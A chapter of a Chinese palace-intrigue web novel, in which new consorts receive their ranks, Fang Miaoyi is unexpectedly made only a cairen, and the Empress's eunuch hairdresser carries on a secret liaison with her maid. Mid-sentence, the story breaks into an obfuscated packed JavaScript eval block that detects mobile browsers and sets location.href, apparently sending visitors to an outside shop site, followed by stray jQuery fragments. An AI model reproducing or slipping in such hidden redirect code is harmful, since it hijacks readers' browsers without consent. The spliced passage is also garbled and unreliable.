新妃受封的前夕，六宫里就没人能睡得安稳。


    总算糊弄过这漫长的一宿，大伙儿起身后，都有些迷迷瞪瞪的。直到内务府的钱老太监捧着名册进来，那副鸡嗓子当院一扯，才算把人都叫醒了魂儿。


    “什么？”


    杨幼薇听完旨意，急得往前探了半个身子，忍不住追问道：


    “钱公公当真没看岔么？”


    也难怪她惊诧。同是一道进宫的，韩淑女封了美人，苏家姐姐更是直接封嫔，偏生方姐姐和自己一样，只得了个才人的位子。


    杨幼薇左寻思右琢磨，心想修国公府的门楣，怎么着也得压韩家一头吧？哪怕是平起平坐，她都觉得屈就方姐姐呢，更遑论还要低上一等，这事儿横竖透着不对劲。


    没等钱太监张嘴，韩美人脸上喜气儿早已按不住，蹭蹭直往外冒。她斜眼睨过来，帕子掩着嘴嗤笑道：


    “杨才人这话可真新鲜！内务府的钱公公，那是顶顶严谨的宫中老人儿，岂能弄错？”


    韩美人眼角眉梢都吊着得意，刻意拔高调门儿，恨不得前头殿里都听见：


    “要我说，这人哪，平日里甭太把自个儿当根葱。真佛假佛，香火面前走一遭。是龙是虫，水沟里头扑腾一回，可不就现了原形么！”


    方妙意闻言，脸上纹丝儿不动，只当是穿堂风过耳。


    对上钱老太监略显不自在的笑容，方妙意四平八稳地领旨谢恩，并不接韩淑女的话茬儿。


    钱老太监见状，这才松了口气，心道幸亏这位方才人懂规矩，没跟韩美人当场争执起来。不然搅扰了皇后主子清净，闹得宫中不安宁，回头可是难收场喽。


    苏蕴好虽得了封嫔这般天大的脸面，却没像韩美人那样眼皮子浅，大呼小叫地讨人嫌。


    她眼神轻轻一递，婢女红萼立马会意上前，往钱太监手里塞了个葫芦纹荷包。


    “钱公公受累了，”苏蕴好温声朝他打探，“不知分在别处宫苑的姐妹们，这回都得了什么恩典？”


    苏蕴好问这话时，心里根本就没起伏。她并不在意旁人得了什么位份，不过是想替方妙意解围，才多这一句嘴。


    虽说相识才几个时辰，她却觉着方才人模样生得好，心性儿也舒朗，看着便让人想亲近几分。


    这韩美人也不知怎的，总是明里暗里针对人家。兴许世上原就有些没来由的恶意，如同晴日里忽然砸下的一阵雹子，叫人躲闪不及，也寻不着缘由。


    钱太监把拂尘往臂弯里一搭，乐呵呵地说：“嫔主儿客气。要不说咱们坤宁宫是块福地呢？这届秀女里头，位份最高的都在这儿聚齐了。”


    钱太监朝东边儿虚虚一拱手：“除却仪妃娘娘宫里还点了一位才人，余下么，便都是些宝林、御女的位份。”


    杨幼薇听罢这话，心里一拧，不由懊悔起方才的冒失。自个儿那一惊一乍的，不更是往方姐姐伤口上撒盐么？还不如像苏嫔这般，把里外门道都摸清楚了实在。


    她们比上虽不足，但到底比下有余呀！


    “各位主子若无旁事，奴才便先告退了。”


    钱太监还要赶着去别处宣旨，领完赏便哈腰退出去。


    宫门外头，一溜儿小太监早垂手候着了，预备引各位新主子去宫所安置。


    趁着这乱哄哄的空当儿，杨幼薇赶忙转过身来，挽住方妙意，一脸歉疚地往回找补。


    “好姐姐，您可千万别往心里去！我瞧这意思，怕是跟宫中娘娘们沾亲带故的，总会叫人高看一眼。不信您瞧，苏嫔是正牌皇亲，韩美人背后也有位贵嫔姐姐……”


    杨幼薇话赶着话往外倒，方妙意不大经意地听着，若说心中不失落，那自然是假话。人比人，便难免催生出愤懑不甘来。


    只是她向来是个心里能藏事儿的，这点高低落差，还真犯不上叫她乱了阵脚。毕竟在宫墙里活着，最没用的就是顾影自怜的酸气。


    杨幼薇搜肠刮肚地寻着好话儿，忽然眼前一亮：


    “对了！姐姐分住的储秀宫可是顶好的去处，离御花园近，景致宜人，宫室也宽敞华丽，比挤在犄角旮旯里强上太多……”


    听到这儿，方妙意心中忽然一动，不由侧目问道：“听杨妹妹的口气，仿佛对宫中各处很熟悉？”


    杨幼薇笑容一僵，脸上像是被浆糊封住。她眼神飘忽着往墙角溜，话音发虚：


    “哪儿能呢？昨儿去御花园里逛，咱们也曾路过储秀宫。那黄琉璃瓦顶子金光锃亮的，我就留心多看了两眼，外头都这么光鲜，我猜着里头肯定也差不了。”


    说完这话，她像是被火燎了裙摆，急匆匆地往外走，嘴里语无伦次地道：“光顾着扯闲篇儿，引路的公公都该等急了……方姐姐，我得先去景和宫，回头安顿好了再去寻您。”


    望着她落荒而逃的背影，方妙意轻轻眯了眯眼。


    昨儿杨幼薇挽她去一趟御花园，撞见投井的薛淑女不说，还恰好留意到了储秀宫？天底下哪有这般巧的事儿。


    正思忖着，一个面皮白净的小太监已经凑上来，打千儿道：


    “方才人吉祥，奴才小顺子，特来接您去储秀宫。”


    替新妃们引路可是个美差，既能认认脸，又能讨个彩头。


    方妙意收回心思，朝小顺子笑道：“有劳顺公公。”


    画锦是个有眼力见儿的，不待吩咐，便掏出个银元宝塞过去：“外头天儿热，我们才人一点心意，只当请公公吃茶。”


    小顺子上手一掂，估摸这银锭子得有五两重，脸上笑容登时更热络，恨不得把牙花子都乐翻出来。


    他就知道，修国公府出来的小姐，出手也定然比旁人阔绰！


    “嗳唷，主子您真是折煞奴才了，这都是奴才分内的事儿。”


    小顺子假模假式地推脱两句，手腕儿一转，银锭便藏进袖管里。他面上愈发殷勤，侧着身子在前头引路：


    “才人这边请。”


    画锦挎上包袱，扶着方妙意迈出坤宁宫，顺着长长的甬道往西走。


    -


    日影儿慢吞吞地移过窗棂子，坤宁宫寝殿里，皇后正在西洋玻璃镜前坐着。一头青丝还没梳拢起来，就这么黑压压地散在脑后。


    大宫女玲夏捧着金盆进来，热水里浮着鲜妍的玫瑰花瓣，把人脸上都蒸得粉扑扑的。


    玲夏绞干了浸透香汤的巾帕，一面轻手轻脚地替主子擦拭鬓角细汗，一面抿着嘴儿笑：“娘娘气色真好，就是那些新进宫的小主们，也都不及娘娘呢。”


    皇后闻言，抬手摸了摸自己滑腻的脸蛋儿，倒也没觉得这话有多过火。


    她比皇帝还小着一岁，今年才二十三，正是花骨朵儿绽开的好年纪，哪里就比新来的嫩芽儿们老了？


    只是嘴角才刚勾起，她不知想到什么，就又悠悠荡荡地跌落下来。


    皇后幽幽地叹了口气：“再好看的颜色，若是赏花人不来瞧，开得再热闹，又有什么用？”


    想当初大婚那日，她好巧不巧就来了桃花癸水，弄脏喜床不说，还触了霉头，最后只是与皇帝分榻睡的。


    打那儿往后，她房里就像是被下了咒，皇帝除却十五的日子循例过来坐坐，就再没留宿过，更别提什么亲近了。


    皇后喃喃地念叨：“陛下是不是嫌本宫身子晦气？是因为大婚那天的腌臜事儿，心里仍在膈应着？”


    玲夏听了这话，低头不敢作声。若真只是这一遭，倒还好办了。其中真正的缘由，众人都心知肚明。皇后不受万岁爷待见，这事是打从根儿上来的，没辙！


    皇后自个儿其实也明白，不过是拿这种“晦气”的瞎话骗骗自己，好歹还能觉得有点盼头。


    见主子又要钻牛角尖，玲夏忙换上一副笑脸，宽慰道：


    “娘娘别太吃心，兴许万岁爷天生就是冷淡性子，跟您怎么着没干系。”


    “您瞧瞧，万岁爷平日就不怎么召见嫔妃，这三年下来，也没见谁揣上过。”


    “说不准大家都一样，也就是面子上撑着扬展，私底下都是守着孤灯熬油呢。”


    正当这沉闷的时候，外头门帘子忽然一响。


    紧接着，坤宁宫的首领太监荣葆，头上顶着个黄绸包袱进来，里面是专门替皇后梳头的家伙什儿。


    “奴才给主子娘娘磕头啦，娘娘吉祥。”


    荣葆声音不刺耳，带着种圆润的腔调，像玉珠子滚在瓷盘里，听着就叫人耳根子舒坦。


    话音没落，人已经利索地跪下了，头磕得不算多重，但动静好听，是在宫里摸爬滚打十来年才练出来的分寸。


    皇后从镜子里瞧他一下，懒洋洋地抬手：


    “起吧。”


    “后罩房那边的事儿，都妥当了？”


    “回主子娘娘的话，都妥了。”荣葆应声站起来，把梳头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010605|193685||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    包袱轻轻搁在旁边的矮几上。


    “钱太监腿脚利索，约莫这会子，各宫都已经接到旨意。”


    趁他说话的功夫，玲夏上前解开包袱，把里头的梳子、篦子一样样拿出来摆好。


    见荣葆斜眼来瞥，玲夏手腕子一晃，露出袖口里的浅青色衣边，意思是她身上月事走干净了。


    荣葆脸上温吞水的笑意，忽然就深了那么一丝丝儿，快得让人抓不住。


    玲夏心细如发，余光瞧见那抹笑，脸上腾地就热了。


    皇后一手支着头，正闭目养神，哪里瞧得见这两人底下的眉眼官司，只随口问：“都是按内务府递上来的单子发的？”


    荣葆在手心里倒了点桂花油，两手一搓，焐热乎了，这才慢慢悠悠地往皇后发上抹。


    “回主子娘娘，十停里头有九停是准的，只一桩奇事儿，方家女封了才人。”


    “才人？”


    皇后掀起眼皮：“前儿个本宫看那拟定的单子上，不是写的嫔么？”


    “主子娘娘记性顶好，过目不忘。”荣葆这会儿已经净了手，站到皇后身后。


    他手指又长又稳，捏着玉梳子从发根慢慢往下走，一下是一下，又轻又匀，舒服得叫人想打瞌睡。


    “单子上原是这么写的，后来送去给宁寿宫的老娘娘们过目，又递到御前……如今加了大印发回来，确实是变成了才人。”


    玲夏在旁边听着，最先没憋住，小声嘀咕说：“这可真是奇了。宁寿宫里那几位老娘娘，素日最是宽仁慈悲，不爱在琐事上驳小辈的面子。”


    “万岁爷日理万机，更不像是理会这些细枝末节的人呐。”


    荣葆梳子没停，一双招子盯着玲夏不放，嘴里却是对皇后笑道：“主子娘娘您想啊，修国公府的门第，那是顶天的高。可老话儿说得好，木秀于林，风必摧之。越是高门大户出来的姑娘，越得往下沉一沉，才能站得稳当。”


    荣葆一面说着，一面开始替皇后挽髻：


    “依奴才看，兴许是宁寿宫的老娘娘们觉着，方家女还得再磨磨性子才好？”


    “宁寿宫……兴许吧。”


    “皇上的心思，近来也是越发难测。”她似乎是接受了这个解释，或者说，暂时不愿深究，免得又惹万岁爷不痛快。


    “本宫记得储秀宫宽敞又体面，拨她去那儿住着，也不算薄待。”


    “是，娘娘圣明，您这碗水端得再平不过，外头谁还能挑出您的毛病来？”


    荣葆嘴里奉承着，手上活儿也没落下，三下两下，就挽出个端庄大气的如意高髻。


    等那一整套赤金点翠的头面戴齐整了，荣葆退后两步，低着眉眼问：“主子娘娘瞧瞧，可还过得去？”


    皇后对着镜子左照右照，见发髻梳得光溜又漂亮，连一根乱发丝儿都寻不见，她脸上这才真正露出笑模样：


    “还得是你这双巧手，旁人梳的，本宫总觉着头皮紧得慌。”


    说着，她随手从妆匣里捡了根金簪子，也没回头，直接往后一递：


    “赏你了。”


    “谢主子娘娘，奴才谢恩。”荣葆赶忙双手接过金簪，又实实在在地磕了个头。


    临退出去的时候，他身子往边上侧了侧，正好挡住皇后视线。


    就这么一眨眼的功夫，玲夏分明瞧见他把金簪捏在袖子里一晃，簪尖儿指了指西边。


    三更天，老地方见。


    帘子落下，荣葆走了，殿里还留着梳头油的桂花香味儿。


    玲夏低头收拾梳头包袱，手指头碰到那把他用过的玉梳，尚还温乎着。


    皇后对着镜子，突然又没头没尾地叹了口气：“玲夏，你说这方才人，能堪大用吗？”


    如今她心里，想必是受挫的。若是趁势给点好处，把她招揽到自己这边，来日会不会是个助益？


    玲夏手一抖，玉梳碰在矮几边角上，“嗑哒”一声。


    她赶忙定了定神，轻声回话：“主子，您也甭着急，人心隔肚皮，咱们多看看、多挑挑总是好的。”


    “方才人是个什么成色，还得往后日子长了，才能显出来。别到时候招进个白眼狼，反倒惹一身骚。”


    皇后从镜子里盯着她，看了好一会儿，直看得玲夏心里发毛。


    忽然，皇后抿唇笑了，指着玲夏道：“你这丫头，如今办起事来，怎么也跟荣葆似的，忒小心了！”